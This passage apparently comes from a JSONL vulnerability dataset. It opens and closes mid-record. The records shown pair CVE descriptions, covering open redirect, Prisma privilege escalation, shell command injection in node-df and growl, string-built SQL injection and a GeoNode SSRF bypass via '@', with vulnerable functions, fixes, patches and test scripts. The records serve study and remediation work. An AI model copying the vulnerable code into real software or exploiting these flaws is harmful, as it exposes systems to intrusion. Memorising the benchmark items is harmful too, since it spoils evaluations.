forms.UserForm()\n    if form.validate_on_submit():\n        db = get_db()\n        user = db.search(\n            (Query().username == form.username.data) & (Query().type == \"user\")\n        )\n\n        if user and check_password_hash(user[0][\"hashed_password\"], form.password.data):\n            user = User.from_db(user[0])\n            login_user(user, remember=True)\n            flash(\"Login successful!\", \"success\")\n\n            next_url = request.args.get(\"next\")\n            return redirect(next_url or \"/\")\n\n        flash(\"Invalid credentials\", \"error\")\n        return redirect(\"/login\")\n    return render_template(\"users/login.html\", form=form, title=\"Login\")"}], "fix_func": [{"id": "fix_py_319_1", "commit": "2d8cb29", "file_path": "archivy/routes.py", "start_line": "41", "end_line": "274", "snippet": "@app.before_request\ndef check_perms():\n    allowed_path = (\n        request.path.startswith(\"/login\")\n        or request.path.startswith(\"/static\")\n        or request.path.startswith(\"/api/login\")\n    )\n    if not current_user.is_authenticated and not allowed_path:\n        return redirect(url_for(\"login\", next=request.path))\n    return\n\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index():\n    path = request.args.get(\"path\", \"\").lstrip(\"/\")\n    try:\n        files = data.get_items(path=path)\n    except FileNotFoundError:\n        flash(\"Directory does not exist.\", \"error\")\n        return redirect(\"/\")\n\n    return render_template(\n        \"home.html\",\n        title=path or \"root\",\n        search_enabled=app.config[\"SEARCH_CONF\"][\"enabled\"],\n        dir=files,\n        current_path=path,\n        new_folder_form=forms.NewFolderForm(),\n        delete_form=forms.DeleteFolderForm(),\n        rename_form=forms.RenameDirectoryForm(),\n        view_only=0,\n        search_engine=app.config[\"SEARCH_CONF\"][\"engine\"],\n    )\n\n\n# TODO: refactor two following methods\n@app.route(\"/bookmarks/new\", methods=[\"GET\", \"POST\"])\ndef new_bookmark():\n    default_dir = app.config.get(\"DEFAULT_BOOKMARKS_DIR\", \"root directory\")\n    form = forms.NewBookmarkForm(path=default_dir)\n    form.path.choices = [(\"\", \"root directory\")] + [\n        (pathname, pathname) for pathname in data.get_dirs()\n    ]\n    if form.validate_on_submit():\n        path = form.path.data\n        tags = form.tags.data.split(\",\") if form.tags.data != \"\" else []\n        tags = [tag.strip() for tag in tags]\n        bookmark = DataObj(url=form.url.data, tags=tags, path=path, type=\"bookmark\")\n        bookmark.process_bookmark_url()\n        bookmark_id = bookmark.insert()\n        if bookmark_id:\n            flash(\"Bookmark Saved!\", \"success\")\n            return redirect(f\"/dataobj/{bookmark_id}\")\n        else:\n            flash(bookmark.error, \"error\")\n            return redirect(\"/bookmarks/new\")\n    # for bookmarklet\n    form.url.data = request.args.get(\"url\", \"\")\n    path = request.args.get(\"path\", default_dir).strip(\"/\")\n    # handle empty argument\n    form.path.data = path\n    return render_template(\"dataobjs/new.html\", title=\"New Bookmark\", form=form)\n\n\n@app.route(\"/notes/new\", methods=[\"GET\", \"POST\"])\ndef new_note():\n    form = forms.NewNoteForm()\n    default_dir = \"root directory\"\n    form.path.choices = [(\"\", default_dir)] + [\n        (pathname, pathname) for pathname in data.get_dirs()\n    ]\n    if form.validate_on_submit():\n        path = form.path.data\n        tags = form.tags.data.split(\",\") if form.tags.data != \"\" else []\n        tags = [tag.strip() for tag in tags]\n        note = DataObj(title=form.title.data, path=path, tags=tags, type=\"note\")\n        note_id = note.insert()\n        if note_id:\n            flash(\"Note Saved!\", \"success\")\n            return redirect(f\"/dataobj/{note_id}\")\n    path = request.args.get(\"path\", default_dir).strip(\"/\")\n    # handle empty argument\n    form.path.data = path\n    return render_template(\"/dataobjs/new.html\", title=\"New Note\", form=form)\n\n\n@app.route(\"/tags\")\ndef show_all_tags():\n    if not app.config[\"SEARCH_CONF\"][\"engine\"] == \"ripgrep\" and not which(\"rg\"):\n        flash(\"Ripgrep must be installed to view pages about embedded tags.\", \"error\")\n        return redirect(\"/\")\n    tags = sorted(get_all_tags(force=True))\n    return render_template(\"tags/all.html\", title=\"All Tags\", tags=tags)\n\n\n@app.route(\"/tags/<tag_name>\")\ndef show_tag(tag_name):\n    if not app.config[\"SEARCH_CONF\"][\"enabled\"] and not which(\"rg\"):\n        flash(\n            \"Search (for example ripgrep) must be installed to view pages about embedded tags.\",\n            \"error\",\n        )\n        return redirect(\"/\")\n\n    results = search(f\"#{tag_name}#\", strict=True)\n    res_ids = set(\n        [item[\"id\"] for item in results]\n    )  # avoid duplication of results between context-aware embedded tags and metadata ones\n    for res in search_frontmatter_tags(tag_name):\n        if res[\"id\"] not in res_ids:\n            results.append(res)\n\n    return render_template(\n        \"tags/show.html\",\n        title=f\"Tags - {tag_name}\",\n        tag_name=tag_name,\n        search_result=results,\n    )\n\n\n@app.route(\"/dataobj/<int:dataobj_id>\")\ndef show_dataobj(dataobj_id):\n    dataobj = data.get_item(dataobj_id)\n    get_title_id_pairs = lambda x: (x[\"title\"], x[\"id\"])\n    titles = list(\n        map(get_title_id_pairs, data.get_items(structured=False, load_content=False))\n    )\n\n    if not dataobj:\n        flash(\"Data could not be found!\", \"error\")\n        return redirect(\"/\")\n\n    if request.args.get(\"raw\") == \"1\":\n        return frontmatter.dumps(dataobj)\n\n    backlinks = []\n    if app.config[\"SEARCH_CONF\"][\"enabled\"]:\n        if app.config[\"SEARCH_CONF\"][\"engine\"] == \"ripgrep\":\n            query = f\"\\|{dataobj_id}]]\"\n        else:\n            query = f\"|{dataobj_id})]]\"\n        backlinks = search(query, strict=True)\n\n    # Form for moving data into another folder\n    move_form = forms.MoveItemForm()\n    move_form.path.choices = [(\"\", \"root directory\")] + [\n        (pathname, pathname) for pathname in data.get_dirs()\n    ]\n\n    post_title_form = forms.TitleForm()\n    post_title_form.title.data = dataobj[\"title\"]\n\n    # Get all tags\n    tag_list = get_all_tags()\n    # and the ones present in this dataobj\n    embedded_tags = set()\n    PATTERN = r\"(?:^|\\n| )#(?:[-_a-zA-Z\\u00c0-\\u00d6\\u00d8-\\u00f6\\u00f8-\\u00ff0-9]+)#\"\n    for match in re.finditer(PATTERN, dataobj.content):\n        embedded_tags.add(match.group(0).replace(\"#\", \"\").lstrip())\n\n    return render_template(\n        \"dataobjs/show.html\",\n        title=dataobj[\"title\"],\n        dataobj=dataobj,\n        backlinks=backlinks,\n        current_path=dataobj[\"dir\"],\n        form=forms.DeleteDataForm(),\n        view_only=0,\n        search_enabled=app.config[\"SEARCH_CONF\"][\"enabled\"],\n        post_title_form=post_title_form,\n        move_form=move_form,\n        tag_list=tag_list,\n        embedded_tags=embedded_tags,\n        titles=titles,\n    )\n\n\n@app.route(\"/dataobj/move/<int:dataobj_id>\", methods=[\"POST\"])\ndef move_item(dataobj_id):\n    form = forms.MoveItemForm()\n    out_dir = form.path.data if form.path.data != \"\" else \"root directory\"\n    if form.path.data == None:\n        flash(\"No path specified.\")\n        return redirect(f\"/dataobj/{dataobj_id}\")\n    try:\n        if data.move_item(dataobj_id, form.path.data):\n            flash(f\"Data successfully moved to {out_dir}.\", \"success\")\n            return redirect(f\"/dataobj/{dataobj_id}\")\n        else:\n            flash(f\"Data could not be moved to {out_dir}.\", \"error\")\n            return redirect(f\"/dataobj/{dataobj_id}\")\n    except FileNotFoundError:\n        flash(\"Data not found.\", \"error\")\n        return redirect(\"/\")\n    except FileExistsError:\n        flash(\"Data already in target directory.\", \"error\")\n        return redirect(f\"/dataobj/{dataobj_id}\")\n\n\n@app.route(\"/dataobj/delete/<int:dataobj_id>\", methods=[\"POST\"])\ndef delete_data(dataobj_id):\n    try:\n        data.delete_item(dataobj_id)\n    except BaseException:\n        flash(\"Data could not be found!\", \"error\")\n        return redirect(\"/\")\n    flash(\"Data deleted!\", \"success\")\n    return redirect(\"/\")\n\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n    form = forms.UserForm()\n    if form.validate_on_submit():\n        db = get_db()\n        user = db.search(\n            (Query().username == form.username.data) & (Query().type == \"user\")\n        )\n\n        if user and check_password_hash(user[0][\"hashed_password\"], form.password.data):\n            user = User.from_db(user[0])\n            login_user(user, remember=True)\n            flash(\"Login successful!\", \"success\")\n\n            next_url = request.args.get(\"next\")\n            if next_url and is_safe_redirect_url(next_url):\n                return redirect(next_url)\n            else:\n                return redirect(\"/\")\n\n        flash(\"Invalid credentials\", \"error\")\n        return redirect(\"/login\")\n    return render_template(\"users/login.html\", form=form, title=\"Login\")"}, {"id": "fix_py_319_2", "commit": "2d8cb29", "file_path": "archivy/helpers.py", "start_line": "236", "end_line": "242", "snippet": "def is_safe_redirect_url(target):\n    host_url = urlparse(request.host_url)\n    redirect_url = urlparse(urljoin(request.host_url, target))\n    return (\n        redirect_url.scheme in (\"http\", \"https\")\n        and host_url.netloc == redirect_url.netloc\n    )"}], "vul_patch": "--- a/archivy/routes.py\n+++ b/archivy/routes.py\n@@ -224,7 +224,10 @@\n             flash(\"Login successful!\", \"success\")\n \n             next_url = request.args.get(\"next\")\n-            return redirect(next_url or \"/\")\n+            if next_url and is_safe_redirect_url(next_url):\n+                return redirect(next_url)\n+            else:\n+                return redirect(\"/\")\n \n         flash(\"Invalid credentials\", \"error\")\n         return redirect(\"/login\")\n\n--- /dev/null\n+++ b/archivy/routes.py\n@@ -0,0 +1,7 @@\n+def is_safe_redirect_url(target):\n+    host_url = urlparse(request.host_url)\n+    redirect_url = urlparse(urljoin(request.host_url, target))\n+    return (\n+        redirect_url.scheme in (\"http\", \"https\")\n+        and host_url.netloc == redirect_url.netloc\n+    )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-3150", "cve_description": "In mintplex-labs/anything-llm, a vulnerability exists in the thread update process that allows users with Default or Manager roles to escalate their privileges to Administrator. The issue arises from improper input validation when handling HTTP POST requests to the endpoint `/workspace/:slug/thread/:threadSlug/update`. Specifically, the application fails to validate or check user input before passing it to the `workspace_thread` Prisma model for execution. This oversight allows attackers to craft a Prisma relation query operation that manipulates the `users` model to change a user's role to admin. Successful exploitation grants attackers the highest level of user privileges, enabling them to see and perform all actions within the system.", "cwe_info": {"CWE-755": {"name": "Improper Handling of Exceptional Conditions", "description": "The product does not handle or incorrectly handles an exceptional condition."}}, "repo": "https://github.com/mintplex-labs/anything-llm", "patch_url": ["https://github.com/mintplex-labs/anything-llm/commit/200bd7f0615347ed2efc07903d510e5a208b0afc"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_307_1", "commit": "b1a2fa6385bcbbc236454702a308f3c2e7baedb2", "file_path": "server/models/workspaceThread.js", "start_line": 25, "end_line": 44, "snippet": "  update: async function (prevThread = null, data = {}) {\n    if (!prevThread) throw new Error(\"No thread id provided for update\");\n\n    const validKeys = Object.keys(data).filter((key) =>\n      this.writable.includes(key)\n    );\n    if (validKeys.length === 0)\n      return { thread: prevThread, message: \"No valid fields to update!\" };\n\n    try {\n      const thread = await prisma.workspace_threads.update({\n        where: { id: prevThread.id },\n        data,\n      });\n      return { thread, message: null };\n    } catch (error) {\n      console.error(error.message);\n      return { thread: null, message: error.message };\n    }\n  },"}], "fix_func": [{"id": "fix_js_307_1", "commit": "200bd7f0615347ed2efc07903d510e5a208b0afc", "file_path": "server/models/workspaceThread.js", "start_line": 25, "end_line": 47, "snippet": "  update: async function (prevThread = null, data = {}) {\n    if (!prevThread) throw new Error(\"No thread id provided for update\");\n\n    const validData = {};\n    Object.entries(data).forEach(([key, value]) => {\n      if (!this.writable.includes(key)) return;\n      validData[key] = value;\n    });\n\n    if (Object.keys(validData).length === 0)\n      return { thread: prevThread, message: \"No valid fields to update!\" };\n\n    try {\n      const thread = await prisma.workspace_threads.update({\n        where: { id: prevThread.id },\n        data: validData,\n      });\n      return { thread, message: null };\n    } catch (error) {\n      console.error(error.message);\n      return { thread: null, message: error.message };\n    }\n  },"}], "vul_patch": "--- a/server/models/workspaceThread.js\n+++ b/server/models/workspaceThread.js\n@@ -1,16 +1,19 @@\n   update: async function (prevThread = null, data = {}) {\n     if (!prevThread) throw new Error(\"No thread id provided for update\");\n \n-    const validKeys = Object.keys(data).filter((key) =>\n-      this.writable.includes(key)\n-    );\n-    if (validKeys.length === 0)\n+    const validData = {};\n+    Object.entries(data).forEach(([key, value]) => {\n+      if (!this.writable.includes(key)) return;\n+      validData[key] = value;\n+    });\n+\n+    if (Object.keys(validData).length === 0)\n       return { thread: prevThread, message: \"No valid fields to update!\" };\n \n     try {\n       const thread = await prisma.workspace_threads.update({\n         where: { id: prevThread.id },\n-        data,\n+        data: validData,\n       });\n       return { thread, message: null };\n     } catch (error) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-15597", "cve_description": "A code injection exists in node-df v0.1.4 that can allow an attacker to remote code execution by unsanitized input.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}}, "repo": "https://github.com/adriano-di-giovanni/node-df", "patch_url": ["https://github.com/adriano-di-giovanni/node-df/commit/72bcceab653bc064583d438072eb20f2d73654be"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_13_1", "commit": "c0b554a", "file_path": "lib/index.js", "start_line": 41, "end_line": 55, "snippet": "    exec(command, function(err, stdout, stderr) {\n        if (err) {\n            callback(err)\n            return\n        }\n\n        if (stderr) {\n            callback(new Error(err))\n            return\n        }\n\n        var entries = parse(stdout, options)\n\n        callback(null, entries)\n    })"}], "fix_func": [{"id": "fix_js_13_1", "commit": "72bcceab653bc064583d438072eb20f2d73654be", "file_path": "lib/index.js", "start_line": 41, "end_line": 60, "snippet": "// escaping chars to prevent command injection\n    var escapeShell = function(command) {\n        return '\"'+command.replace(/([\"\\s'$`\\])/g,'\\$1')+'\"'\n    };\n    exec(escapeShell(command), function(err, stdout, stderr) {\n        if (err) {\n            callback(err)\n            return\n        }\n\n        if (stderr) {\n            callback(new Error(err))\n            return\n        }\n\n        var entries = parse(stdout, options)\n\n        callback(null, entries)\n    })"}], "vul_patch": "--- a/lib/index.js\n+++ b/lib/index.js\n@@ -1,4 +1,4 @@\n-    exec(command, function(err, stdout, stderr) {\n+    exec(escapeShell(command), function(err, stdout, stderr) {\n         if (err) {\n             callback(err)\n             return\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-15597:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-df\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": " #!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-15597:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/node-df\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpm test lib/__tests__/calcMultipliers.spec.js lib/__tests__/index.spec.js"}
{"cve_id": "CVE-2015-10056", "cve_description": "A vulnerability was found in 2071174A vinylmap. It has been classified as critical. Affected is the function contact of the file recordstoreapp/views.py. The manipulation leads to sql injection. The name of the patch is b07b79a1e92cc62574ba0492cce000ef4a7bd25f. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-218400.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/2071174A/vinylmap", "patch_url": ["https://github.com/2071174A/vinylmap/commit/b07b79a1e92cc62574ba0492cce000ef4a7bd25f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_378_1", "commit": "781d517b0d234d3fb51c9cb46584f0cf58e67675", "file_path": "recordstoreapp/views.py", "start_line": 25, "end_line": 47, "snippet": "def search(request):\n\tcontext_dict = {}\n\tif 'q' in request.GET and request.GET['q'] != '':\n\t\tq = request.GET['q']\n\t\tcursor = connection.cursor()\n\t\tcursor.execute(\"SELECT id,title,artist,cover FROM recordstoreapp_record WHERE title like '%\" + q + \"%' or artist like '%\" + q + \"%' or label like '%\" + q + \"%' or cat_no like '%\" + q + \"%';\")\n\t\trec_list=cursor.fetchall()\n\t\t\n\t\ttotal=len(rec_list)\n\t\tpg=int(request.GET['page']) if 'page' in request.GET else 1\n\t\tub=min(pg*12, total)\n\n\t\tcontext_dict['rec_list'] = rec_list[(pg-1)*12:ub]\n\t\tmaxrange = int(total/12)\n\t\tif total%12 > 0: \n\t\t\tmaxrange = maxrange + 1\n\t\tif maxrange == 1: \n\t\t\tmaxrange = 0\n\t\tcontext_dict['range'] = range(1,maxrange+1)\n\t\tprint total\n\t\tcontext_dict['q'] = q\n\n\treturn render(request, 'search.html', context_dict)"}], "fix_func": [{"id": "fix_py_378_1", "commit": "b07b79a1e92cc62574ba0492cce000ef4a7bd25f", "file_path": "recordstoreapp/views.py", "start_line": 25, "end_line": 49, "snippet": "def search(request):\n\tcontext_dict = {}\n\tq = request.GET['q'].replace('%', '').replace('_', '').strip()\n\tif 'q' in request.GET and q != '':\n\t\tq = '%' + q + '%'\n\t\tcursor = connection.cursor()\n\t\tcursor.execute(\"SELECT id,title,artist,cover FROM recordstoreapp_record WHERE title like %s or artist like %s or label like %s or cat_no like %s;\", [q,q,q,q])\n\t\trec_list=cursor.fetchall()\n\t\t\n\n\t\ttotal=len(rec_list)\n\t\tpg=int(request.GET['page']) if 'page' in request.GET else 1\n\t\tub=min(pg*12, total)\n\n\t\tcontext_dict['rec_list'] = rec_list[(pg-1)*12:ub]\n\t\tmaxrange = int(total/12)\n\t\tif total%12 > 0: \n\t\t\tmaxrange = maxrange + 1\n\t\tif maxrange == 1: \n\t\t\tmaxrange = 0\n\t\tcontext_dict['range'] = range(1,maxrange+1)\n\t\tprint total\n\t\tcontext_dict['q'] = q\n\n\treturn render(request, 'search.html', context_dict)"}], "vul_patch": "--- a/recordstoreapp/views.py\n+++ b/recordstoreapp/views.py\n@@ -1,11 +1,13 @@\n def search(request):\n \tcontext_dict = {}\n-\tif 'q' in request.GET and request.GET['q'] != '':\n-\t\tq = request.GET['q']\n+\tq = request.GET['q'].replace('%', '').replace('_', '').strip()\n+\tif 'q' in request.GET and q != '':\n+\t\tq = '%' + q + '%'\n \t\tcursor = connection.cursor()\n-\t\tcursor.execute(\"SELECT id,title,artist,cover FROM recordstoreapp_record WHERE title like '%\" + q + \"%' or artist like '%\" + q + \"%' or label like '%\" + q + \"%' or cat_no like '%\" + q + \"%';\")\n+\t\tcursor.execute(\"SELECT id,title,artist,cover FROM recordstoreapp_record WHERE title like %s or artist like %s or label like %s or cat_no like %s;\", [q,q,q,q])\n \t\trec_list=cursor.fetchall()\n \t\t\n+\n \t\ttotal=len(rec_list)\n \t\tpg=int(request.GET['page']) if 'page' in request.GET else 1\n \t\tub=min(pg*12, total)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-42439", "cve_description": "GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. A SSRF vulnerability exists starting in version 3.2.0, bypassing existing controls on the software. This can allow a user to request internal services for a full read SSRF, returning any data from the internal network. The application is using a whitelist, but the whitelist can be bypassed. The bypass will trick the application that the first host is a whitelisted address, but the browser will use `@` or `%40` as a credential to the host geoserver on port 8080, this will return the data to that host on the response. Version 4.1.3.post1 is the first available version that contains a patch.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/GeoNode/geonode", "patch_url": ["https://github.com/GeoNode/geonode/commit/79ac6e70419c2e0261548bed91c159b54ff35b8d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_261_1", "commit": "abd1baf", "file_path": "geonode/utils.py", "start_line": 1910, "end_line": 1927, "snippet": "def extract_ip_or_domain(url):\n    ip_regex = re.compile(\"^(?:http://|https://)(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})\")\n    domain_regex = re.compile(\"^(?:http://|https://)([a-zA-Z0-9.-]+)\")\n\n    match = ip_regex.findall(url)\n    if len(match):\n        ip_address = match[0]\n        try:\n            ipaddress.ip_address(ip_address)  # Validate the IP address\n            return ip_address\n        except ValueError:\n            pass\n\n    match = domain_regex.findall(url)\n    if len(match):\n        return match[0]\n\n    return None"}], "fix_func": [{"id": "fix_py_261_2", "commit": "79ac6e7", "file_path": "geonode/utils.py", "start_line": 1911, "end_line": 1921, "snippet": "def remove_credentials_from_url(url):\n    # Parse the URL\n    parsed_url = urlparse(url)\n\n    # Remove the username and password from the parsed URL\n    parsed_url = parsed_url._replace(netloc=parsed_url.netloc.split(\"@\")[-1])\n\n    # Reconstruct the URL without credentials\n    cleaned_url = urlunparse(parsed_url)\n\n    return cleaned_url"}, {"id": "fix_py_261_1", "commit": "79ac6e7", "file_path": "geonode/utils.py", "start_line": 1924, "end_line": 1944, "snippet": "def extract_ip_or_domain(url):\n    # Decode the URL to handle percent-encoded characters\n    _url = remove_credentials_from_url(unquote(url))\n\n    ip_regex = re.compile(\"^(?:http://|https://)(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})\")\n    domain_regex = re.compile(\"^(?:http://|https://)([a-zA-Z0-9.-]+)\")\n\n    match = ip_regex.findall(_url)\n    if len(match):\n        ip_address = match[0]\n        try:\n            ipaddress.ip_address(ip_address)  # Validate the IP address\n            return ip_address\n        except ValueError:\n            pass\n\n    match = domain_regex.findall(_url)\n    if len(match):\n        return match[0]\n\n    return None"}], "vul_patch": "--- a/geonode/utils.py\n+++ b/geonode/utils.py\n@@ -1,8 +1,11 @@\n def extract_ip_or_domain(url):\n+    # Decode the URL to handle percent-encoded characters\n+    _url = remove_credentials_from_url(unquote(url))\n+\n     ip_regex = re.compile(\"^(?:http://|https://)(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})\")\n     domain_regex = re.compile(\"^(?:http://|https://)([a-zA-Z0-9.-]+)\")\n \n-    match = ip_regex.findall(url)\n+    match = ip_regex.findall(_url)\n     if len(match):\n         ip_address = match[0]\n         try:\n@@ -11,7 +14,7 @@\n         except ValueError:\n             pass\n \n-    match = domain_regex.findall(url)\n+    match = domain_regex.findall(_url)\n     if len(match):\n         return match[0]\n \n\n--- /dev/null\n+++ b/geonode/utils.py\n@@ -0,0 +1,11 @@\n+def remove_credentials_from_url(url):\n+    # Parse the URL\n+    parsed_url = urlparse(url)\n+\n+    # Remove the username and password from the parsed URL\n+    parsed_url = parsed_url._replace(netloc=parsed_url.netloc.split(\"@\")[-1])\n+\n+    # Reconstruct the URL without credentials\n+    cleaned_url = urlunparse(parsed_url)\n+\n+    return cleaned_url\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-16042", "cve_description": "Growl adds growl notification support to nodejs. Growl before 1.10.2 does not properly sanitize input before passing it to exec, allowing for arbitrary command execution.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/tj/node-growl", "patch_url": ["https://github.com/tj/node-growl/commit/d71177d5331c9de4658aca62e0ac921f178b0669"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_44_2", "commit": "dc8aae0", "file_path": "lib/growl.js", "start_line": 164, "end_line": 290, "snippet": "function growl(msg, options, fn) {\n  var image\n    , args\n    , options = options || {}\n    , fn = fn || function(){};\n\n  if (options.exec) {\n    cmd = {\n        type: \"Custom\"\n      , pkg: options.exec\n      , range: []\n    };\n  }\n\n  // noop\n  if (!cmd) return fn(new Error('growl not supported on this platform'));\n  args = [cmd.pkg];\n\n  // image\n  if (image = options.image) {\n    switch(cmd.type) {\n      case 'Darwin-Growl':\n        var flag, ext = path.extname(image).substr(1)\n        flag = flag || ext == 'icns' && 'iconpath'\n        flag = flag || /^[A-Z]/.test(image) && 'appIcon'\n        flag = flag || /^png|gif|jpe?g$/.test(ext) && 'image'\n        flag = flag || ext && (image = ext) && 'icon'\n        flag = flag || 'icon'\n        args.push('--' + flag, quote(image))\n        break;\n      case 'Darwin-NotificationCenter':\n        args.push(cmd.icon, quote(image));\n        break;\n      case 'Linux':\n        args.push(cmd.icon, quote(image));\n        // libnotify defaults to sticky, set a hint for transient notifications\n        if (!options.sticky) args.push('--hint=int:transient:1');\n        break;\n      case 'Windows':\n        args.push(cmd.icon + quote(image));\n        break;\n    }\n  }\n\n  // sticky\n  if (options.sticky) args.push(cmd.sticky);\n\n  // priority\n  if (options.priority) {\n    var priority = options.priority + '';\n    var checkindexOf = cmd.priority.range.indexOf(priority);\n    if (~cmd.priority.range.indexOf(priority)) {\n      args.push(cmd.priority, options.priority);\n    }\n  }\n\n  //sound\n  if(options.sound && cmd.type === 'Darwin-NotificationCenter'){\n    args.push(cmd.sound, options.sound)\n  }\n\n  // name\n  if (options.name && cmd.type === \"Darwin-Growl\") {\n    args.push('--name', options.name);\n  }\n\n  switch(cmd.type) {\n    case 'Darwin-Growl':\n      args.push(cmd.msg);\n      args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n      if (options.title) args.push(quote(options.title));\n      break;\n    case 'Darwin-NotificationCenter':\n      args.push(cmd.msg);\n      var stringifiedMsg = quote(msg);\n      var escapedMsg = stringifiedMsg.replace(/\\\\n/g, '\\n');\n      args.push(escapedMsg);\n      if (options.title) {\n        args.push(cmd.title);\n        args.push(quote(options.title));\n      }\n      if (options.subtitle) {\n        args.push(cmd.subtitle);\n        args.push(quote(options.subtitle));\n      }\n      if (options.url) {\n        args.push(cmd.url);\n        args.push(quote(options.url));\n      }\n      break;\n    case 'Linux-Growl':\n      args.push(cmd.msg);\n      args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n      if (options.title) args.push(quote(options.title));\n      if (cmd.host) {\n        args.push(cmd.host.cmd, cmd.host.hostname)\n      }\n      break;\n    case 'Linux':\n      if (options.title) {\n        args.push(quote(options.title));\n        args.push(cmd.msg);\n        args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n      } else {\n        args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n      }\n      break;\n    case 'Windows':\n      args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n      if (options.title) args.push(cmd.title + quote(options.title));\n      if (options.url) args.push(cmd.url + quote(options.url));\n      break;\n    case 'Custom':\n      args[0] = (function(origCommand) {\n        var message = options.title\n          ? options.title + ': ' + msg\n          : msg;\n        var command = origCommand.replace(/(^|[^%])%s/g, '$1' + quote(message));\n        if (command === origCommand) args.push(quote(message));\n        return command;\n      })(args[0]);\n      break;\n  }\n\n  // execute\n  exec(args.join(' '), fn);\n};"}], "fix_func": [{"id": "fix_js_44_2", "commit": "d71177d5331c9de4658aca62e0ac921f178b0669", "file_path": "lib/growl.js", "start_line": 163, "end_line": 289, "snippet": "function growl(msg, options, fn) {\n  var image\n    , args\n    , options = options || {}\n    , fn = fn || function(){};\n\n  if (options.exec) {\n    cmd = {\n        type: \"Custom\"\n      , pkg: options.exec\n      , range: []\n    };\n  }\n\n  // noop\n  if (!cmd) return fn(new Error('growl not supported on this platform'));\n  args = [cmd.pkg];\n\n  // image\n  if (image = options.image) {\n    switch(cmd.type) {\n      case 'Darwin-Growl':\n        var flag, ext = path.extname(image).substr(1)\n        flag = flag || ext == 'icns' && 'iconpath'\n        flag = flag || /^[A-Z]/.test(image) && 'appIcon'\n        flag = flag || /^png|gif|jpe?g$/.test(ext) && 'image'\n        flag = flag || ext && (image = ext) && 'icon'\n        flag = flag || 'icon'\n        args.push('--' + flag, image)\n        break;\n      case 'Darwin-NotificationCenter':\n        args.push(cmd.icon, image);\n        break;\n      case 'Linux':\n        args.push(cmd.icon, image);\n        // libnotify defaults to sticky, set a hint for transient notifications\n        if (!options.sticky) args.push('--hint=int:transient:1');\n        break;\n      case 'Windows':\n        args.push(cmd.icon + image);\n        break;\n    }\n  }\n\n  // sticky\n  if (options.sticky) args.push(cmd.sticky);\n\n  // priority\n  if (options.priority) {\n    var priority = options.priority + '';\n    var checkindexOf = cmd.priority.range.indexOf(priority);\n    if (~cmd.priority.range.indexOf(priority)) {\n      args.push(cmd.priority, options.priority);\n    }\n  }\n\n  //sound\n  if(options.sound && cmd.type === 'Darwin-NotificationCenter'){\n    args.push(cmd.sound, options.sound)\n  }\n\n  // name\n  if (options.name && cmd.type === \"Darwin-Growl\") {\n    args.push('--name', options.name);\n  }\n\n  switch(cmd.type) {\n    case 'Darwin-Growl':\n      args.push(cmd.msg);\n      args.push(msg.replace(/\\\\n/g, '\\n'));\n      if (options.title) args.push(options.title);\n      break;\n    case 'Darwin-NotificationCenter':\n      args.push(cmd.msg);\n      var stringifiedMsg = msg;\n      var escapedMsg = stringifiedMsg.replace(/\\\\n/g, '\\n');\n      args.push(escapedMsg);\n      if (options.title) {\n        args.push(cmd.title);\n        args.push(options.title);\n      }\n      if (options.subtitle) {\n        args.push(cmd.subtitle);\n        args.push(options.subtitle);\n      }\n      if (options.url) {\n        args.push(cmd.url);\n        